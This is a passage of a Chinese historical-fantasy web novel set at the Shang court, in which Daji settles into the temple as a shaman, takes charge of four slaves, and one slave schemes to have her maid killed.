另有一橱嵌于侧壁中,下侧极宽,仆也可睡在其中,方便端水开门。
鄂顺同她一道进入看了,细长狐眼一扫,先要替妲己不满:“唉,实在太素,怎连地毯也无?这如何下脚?”他殷切道,“傍晚我命人拿些用物送你,总要一切舒适才好。”
妲己缱绻一笑,意味深长,“公子果然诸事妥帖,无怪在有苏,能想出更换首领的「妙计」来。”
鄂顺身形顿僵,正被她戳中痛处,忍不住道:“你、你如何知晓?”
是彪又嘴贱?!
妲己媚然一笑:“我虽昏着,耳朵却能听到。你令公子邑说我二人已死,不就是为了麻痹筑,好将其族人一网打尽?待我醒来,仍是贡女,我便已知是你的计谋。”
鄂顺果然抿唇,哑然没了言语。
又钦佩她的聪慧。
雪洞那日,他其实懵懂,怒火上头时,只想着惩戒苏筑,实则并未考虑太多。
但此后一日复一日,他开始着魔似的惦念着妲己;不论何时去大军,狐目总要四下搜寻,期盼能将她偶遇……
侥幸遇到时,心中会剧烈一扯,仿佛不能被公之于众的秘密将要撕破胸腔自行跃出……
随后便是上瘾般越发难以自控,总要夜里燥热地回味洞中的一切……
他会幻视她偎在自己怀中……
冰凉的手落在胸前皮肤上时,总会有似无地轻轻抚弄,逼迫得他小腹绷紧,恨不能用自己的肺腑去将她暖热……
世间越久,他越后悔。
若妲己留在有苏,此刻凭他族中的实力,早已可以去谈结姻之事……
明明是他最先接触到妲己,结果他不但任由机会白白溜走,还令她对自己充满怨气……
但无妨,她不曾进宫,他仍有机会,他会弥补!
32. 大巫小巫巫有高低
此时,鄂顺重整心情,诚恳说道:“那日之事,我确实欠缺考虑……自己想来也觉懊恼……”
他又瞄了一眼门外,看到贞人等皆已散去,趁机低声哄她:“你……莫生气……”
妲己不料他是如此性情,倒也有些失笑,侧头看他:“此言甚怪,公子当日与我也不相识,为军中诸人着想是应当,我何必气?”
不等鄂顺开口,她又楚楚道:“我乏了……”
是送客之意。
鄂顺不好再久留,只得自己寻了个台阶:
“也好,你连日赶路,定然疲惫,是该歇息。我每日在宗庙巡视,你若寻我,唤一声便是,若需要用物,也只管同我说。”
身为戍卫少亚总长,在何处巡视、巡视多久,也不过是全然随他心情。
说完,他只见妲己疏离点头,毫无留恋,心头不免沮丧。
一时鄂顺离去,青女姚也自去安排奴隶的住处,屋中安静。
狐狸探头探脑,透过窗将鄂顺窥视。
鄂顺对着下属,早换了一副端肃神情,细长的眉眼似锋利薄刃,遥遥望去竟堪称凌厉。
它禁不住舔舔鼻子:“顺如此俊嫽,难道不美味?”
妲己懒懒道:“美味。”
“顺又如此大方,难道不喜人?”
“喜人。”
狐狸听她语气恹恹,回头打量一番,忍不住问:“你这是怎了?明明一切如你所愿,时辰还刚翻了三倍,却怎萎靡?唔,莫非……你舍不得俊嫽的帝辛?”
妲己这才沉沉开口:“我记得你先前曾说,世界铆定这五人,是因他们与亡商相关。”
“那仅是我的推测,否则为何非这五人不可?”
它与世界的连接有限,不会事事都知晓清楚。
妲己思忖着缓声说道:“但今日我见到帝辛后,想到你这话,忽地明悟一事……我认为,续命的五人,实则是帝辛王权的一部分映射。”
狐狸诧异,但略略思索一阵,也点头,“你这样认为,倒也合理。”
——王室血脉、天下之财、绝世骁勇、心机深沉,同时又有臣子的忠心……如此正好汇集成令先王帝乙爱若珍宝的完美三子——帝辛。
妲己的手指敲着窗棱,面色凝重。
狐狸歪头,“怎了,即便如此,又有何不妥?”
“我只是想,若五人真代表王权的一份特质,且与亡商相关,那么世界的目的,恐怕并非是要我维持五人的平衡……”
“唔?”狐狸飞快领悟,“莫非,是需你将他们离间?”
这怎可能做到?
若要离间,不免要在这个面前爱慕那个,那个面前诋毁这个,何况人数太多,翻来覆去极易暴露,届时叫人心冷,连续命也难!
如此想着,它也就如此说出来,也问:“所以你是为此烦忧?”
妲己反而又沉默……
事实上,维系也好,离间也罢,于她皆不算难……
但她在见到帝辛后,萌生了一个推测、一个更坏的预感……
不,还不可说——
另外二人是谁尚且不知,她的推测并无把握。
于是她叹道,“虽然烦忧,到底于我并非难事,不过白说一句罢了。”
狐狸虽有疑惑,却也顺着安慰:“我看来也无需烦忧。顺如此倾慕你,已省却多少麻烦;可恶的只有那恶来。”
说到这浑人,狐狸微微头疼:“今日不知何故,他时辰数量骤减!臭宝,这人心性坚韧,脾气古怪,我只怕他在有意扼制。”
妲己妖娆一笑:“无妨,貌似随和的,未必好对付;有意遏制的,也不见得能成功。”
恰如洪水一般,勉强将其堵住,无非玉望来时崩溃得更加迅猛罢了……
而她,很期盼看到恶来被洪水席卷的模样……
~
宗庙之内的神官,平日里各领其职:
筮人与交成,是用筮卦占卜的神官;
他们日常卜筮即将颁布的政令,也要协助各处部族将粮食用物计算。
贞人与卜人,有时可由一人担任;
其沟通天地之法,即是烧牛骨、龟壳,卜问凶吉、出行、疾病、结姻时辰……
有时贵族占卜不解其意,也需来问询他们;
至于巫觋的地位,则又在诸人之上;
盖因其无需借助外物,本身即是天地媒介,或预测天相灾凶,或预言国之兴亡。
偶尔部族之内有了纷争难以解除,也要请巫觋前来定夺镇场。
再说诸位神官之中,实则也有世俗,也要分些官职高低:
宗庙众人之首,当为大祭司;
其下又有祭酒、祭器、大巫、鬼巫等位置;
现如今,宗庙大祭司名为申豹;余下的巫觋,皆是贵族子女,并不曾有一人领职;想来大约「关系」虽然到位,但「仙力」着实有限,故而祭酒、祭器之职均是空悬……
妲己昨日到宗庙时,大祭司申豹不在庙内,故而这日晨起听闻他来,便先去拜访了他。
出乎她的意料,申豹竟也是个年轻神官:他着玄袍,上绣星辰图案;蓄长发,颧骨高高撑起。一双豹眼锐光四射,望来目光若审视。
能做到大祭司之职,申豹绝非徒有其表;妲己已听引路贞人提前告知:申豹犹擅预测天气,观察星象,舞姿可悦上苍。
此时昏暗庙中,申豹也将妲己打量一番,目中无有惊艳,倒似看到宿敌,语气越发挑剔而倨傲,“宗庙有规定,为巫者,若各族遇难断之事,会请宗庙巫觋断之。若是请到鬼巫,还请莫要推脱。”
他声音低沉嘶哑,如砂纸磨过咽喉所发之声。
妲己貌似驯良地点头:“职责所在,不敢推脱。”
申豹冷笑一声,合上双目,再不理她。
一旁的贞人忙领她出来,恐她生气,笑着低声解释:“鬼巫无需介意,连贵族见了祭司,也要恭恭敬敬吃他冷眼,天长日久,他难免傲气些。好在他平日并不宿在庙中,多住在太行山旁的院舍,来得也极少……”
言外之意:此人虽烦,倒不怎么现身,无需在意。
妲己心领神会,笑着将贞人谢过。
待她回到屋中时,青女姚也已端了小食的饭回来,菜香弥漫。
妲己看到,她这鬼巫也不算白做——吃食的用具已从木制、石制,升级为了陶制。
一簋黄米仍然是主食,又有一盂鲜炖整鸡汤,一盅煮芦萉,一盅炒青菜,一盅韭菜烩猪肝,一碟晶莹鱼片;
佐食是一卣米酒,两个首杯,并四瓷豆的酿菜、樱桃干、桃脯、榛子。*1
餐具搭配了陶勺、竹筷,皆刻了名字,不会混用。
不光如此,青女姚身为伺候鬼巫的奴隶,也单独得了一份黄米。
照例,妲己招呼她来同自己一起吃。
青女姚对这里的酒一直很有兴趣,奈何之前是奴隶,哪里能喝到。如今妲己命她随便去吃,她便先拘谨地为自己倒了杯酒——
酒是浑浊的黄色,卖相像尿,但入口甘甜,有粮食的清香,又有一点酵出的酒味儿。
青女姚咂咂嘴,竟然觉得还不错。
无怪许多帝王会被后世指责酗酒过度,这酒甜而香,劲儿实则很小,发觉上头时,也为时已晚。
“好喝?”妲己见她品酒模样甚是可爱,不禁莞尔。
青女姚脸顿时一红,有些臊了,抿唇点头。
两人大快朵颐后,各个皿中餐食仍剩下不少。
青女姚问:“姐姐可还要动筷?”
妲己摇头:“我已饱,这未免也太多了些,如何吃得完?”
青女姚遂笑,“哪里是要姐姐都吃完?不过是为了多尝几个样式。主人吃剩的给仆,仆吃完了,就给奴。姐姐若饱了,我就将剩饭给奴送去。”
妲己点头,看她起身,将剩菜倒进一个大陶盆里,拌匀,又端出去到院外,倒在了门外给奴隶取食的陶槽里——宗庙的犬也在同个槽里吃。
非但如此,奴隶们还要等宗庙所有人吃完才可进食,故而此时皆和犬一样,远远站着,眼巴巴地舔唇……
终于,等到司奴下了令,他们全冲上前去,一顿风卷残云……
日光如薄纱覆下,带来墙外大邑的热闹的喧嚣。
墙内也热闹,司奴正挥着鞭子大喝:“不许抢,不许打!想吃鞭子不成?!”
青女姚送还了餐具,归来时看到奴已经吃完,便趁机回房问妲己:“姐姐,天子赏赐的那些奴,你今日可要见一见?”
妲己正也无事可做,欣然点头,“叫他们来罢。”
不多时,四个奴隶果然在她面前一字跪开:
男
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人粗壮结实,女人丰腴健硕,不必看牙口也知是皇家御选的上等奴隶。
人前,青女姚仍唤妲己“主人”,小声提醒她:“奴隶没有名字,要主人赐他们名字。除非主人允许他们用本名。”
妲己点头,柔声问道:“你们本名叫什么,自己说来。”
两个男奴隶名饥樊,名相多,乃是饥族、空相族的战俘;
两个女奴隶名方姺,名昙妧,是有莘氏被处罚的贵族沦落为奴隶。
妲己端详各人一番,有了青女姚珠玉在前,倒挑不出格外喜爱的。
何况,她已存了要去周原的心思,日后少不得要还他们自由,于是仍许他们用原名,命众人退去,只留下青女姚。
妲己将一个滇国进贡的青铜饕餮贮贝器拿出*2,昨日天子所赏夔贝也尽在其中。
她向内随手抓了一把,放进青女姚手中,嘱咐道:“青女,这些你留着用。以后每月还有。日后,这四个奴便由你来管制。我与邑皆是心软之人,不喜见人受苦;你固可以对他们疾言厉色维持威严,但吃穿不要苛待,也莫要吝啬赏钱,不够来同我说。”
不论为续命、还是为亡商,她知自己接下来必定大费心神、没空御下;倒可趁机叫青女姚练练手、筛选一番。
自然,也是考验。
青女姚先惊愕一瞬,随即心头狂喜,忙忙接过夔贝,“姐姐放心,我绝非逢高踩低的小人。我只当是雇佣他们来做事,绝不苛待。”
妲己点头:“若是遇到棘手的奴,也不必忍耐,自来告知我便是。”
青女姚连连应允,当下踌躇满志,立即就去了奴隶们所在的宗庙下房。
下房顾名思义,是四方大屋一半沉在地下,用木栏围隔出房间来,也分男女。
青女姚第一次为妲己做事,心中一团热火,自我要求个尽善尽美。
四个奴隶实则皆比她年长高大,但瘦小的她仍双手叉腰,气势十足地下令:
“汝等且听来,主人方才已命我为上奴,将你们看管。你们日后务必要忠心勤勉,不可偷懒!饥樊洒扫、相多担柴、方姺暖水、昙妧浆洗,每日做完歇息,听候差遣即可。只一样,主人面前,自有我服侍,汝等无我命令,不可乱凑上前。若有事要报,也需先报由我知,不可擅自惊扰主人。可听懂了?”
几人点头。
青女姚满意,脸上笑出两个酒窝,“可还有疑问?”
另外三人皆摇头,唯有饥樊冷着一张脸。
这饥樊模样倒也生得俊俏端正,身型颀长,是众奴隶中的佼佼者。只皮肤略黑,有些瘦弱。
他抬头望向青女姚,竟是一双狠厉的三白眼,在黑脸上分外分明,冷声问:“你明明也是奴,凭甚不戴颈铐。”
青女姚登时大怒。
这奴竟敢挑衅她?
她本欲出言教训、或告知妲己,但眼珠转转,又忍住,从布包中数出三枚夔贝来,分给另外三人一人一枚,口中道:“新来有赏,做得好了,日后还有。”
那三人从来不知奴也能被赏夔贝,几乎欢喜蒙了,又感激涕零,未料到新主与上奴如此大方!
青女姚又瞪饥樊一眼,这才转身离去。
几个奴隶正欲分开歇息,饥樊却出声叫住昙妧。
昙妧停下半步,疑惑看他。
饥樊与昙妧,做奴时便互相有意,暗有首尾多次。但饥樊谨慎,从不令其有孕。
此时他上前,低声道:“可否帮我一忙?”
昙妧警惕,先攥紧了手中夔贝:“我如何能帮你的忙?”
是人便有优越之心——昙妧固然爱过饥樊的清俊外表与硕大阳俱,但眼见他一来就在青女那没脸,说话时便也疏离。
奴隶找个好主人无异于重新投胎,她如此幸运,绝不愿惹嫌隙。
饥樊阴恻恻冷笑:“你看不出来?这新主人极好说话,万事不管。她对青女另眼相待,不过是因她貌美。但我容貌不在青女之下,且我更有本钱令主人开怀。如若我能被主人注意,她定会宠幸于我,那时,我必回报你的恩情。”
昙妧盯着饥樊的面容,再想想他那□□巨物,虽然心动,却也迟疑:“可你如何能到主人身边?青女不戴颈铐,手背无烙印,显然主人极爱重她。据说,她还是王子所赏,尊贵非常。”
饥樊压低声音:“若她死呢?”
33. 大巫小巫巫有高低
「到底何为奴隶?
我时常如此问自己——
身体发肤、生命夔贝,乃至于名姓子女,皆不属于你。
没有自己的财产,没有说话的权利。
主人的一饭之恩、便要你感恩戴德,
主人的一念之差,便叫你朝不保夕。
司奴拿眼儿盯着你。
你要拿眼儿防着他。
他盯着你,唉,你防着他。
小心被那皮鞭子毒打。
可无人容你养伤在榻。
饥樊我啊,曾是,饥族高门凤凰栖,
珍馐尝罢抛随意,
我饥樊啊,如今,宗庙牛马任人欺,
抢啖剩糟犬同席。
昔时我身畔多好女,
纤秾皓色妍尽极。
朝引桃花夜海棠,
喔喔春歌战不息。
再看那昙妧容色似草芥,怎配与我共枕席?
可春暖夜间多躁闷,她倒将我摁来骑。
颠倒了阴阳,混乱了天纲。
我呀我,怎落得如此悲惨境地……
我呀我,好一似白玉棍搅烂黄泥……
无妨无妨,总需人来消遣;
忍耐忍耐,先要脱了奴籍。
此时她与我,唉,我与她,
双双流落宗庙里,
那蠢人以为是归宿,竟还暗暗心欢喜。
你看她将我防备,何等痴愚?
我看她蠢笨如斯,何等闷气!
何时生,何时死,身似牛羊不由己。
命如草,身如絮,人与牲畜无甚异。
一身锦衣换破衣,倚仗之物唯此躯。
我擅风月,养大龟,且换主人将我骑。
我识得文,带过兵,只欠东风大运起。
青女啊青女,
你无需得意。
世上哪有不死之奴?你又何必傲气。
你侥幸做了上奴也无甚稀奇,不也是苟延残喘,仰人鼻息?
总有一日,你见到我也要匍匐跪地——
美哉,连同你那妖娆的主人一起。
看官莫将我笑,看官莫将我疑。
我啊,绝非痴心妄想,我啊,实则藏有秘密武器。<
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p>你要听?不可,这秘密我要暂藏心里。
我不会永远为奴,委身坑底,
我要重归高位,令天下为我所驱!
美哉,且叫这位嫽貌鬼巫沉迷于我的美色,助我一臂之力!」
此时,他望着昙妧,说出自己的想法:
“不必你亲自动手。我自会寻找时机,也不会叫人疑你。”
看昙妧表情仍似有不愿之色,他轻声道:“宗庙守卫太多,我绝不在此处下手,且我向你允诺,若我被主人看重,也定助你摆脱奴籍。若我得了大势,还会赠你封地。”
昙妧略略思索,暗忖此事就算帮助也无妨,横竖只需叫人赖不到自己;
何况,奴隶为官为臣,并非不可能,君不见前有傅说、伊尹,后有蜚蠊、恶来,文可为公,武可为师,脱奴,不过是贵族一句话的事。
她心中萌生贪念,终于点头道:
“我助你,但你需牢牢记住今日言语。”
饥樊微笑允诺:“自然。若有违背,叫我身堕地狱。”
正是:
宁为奸邪搏生死,胜却人间无名尸。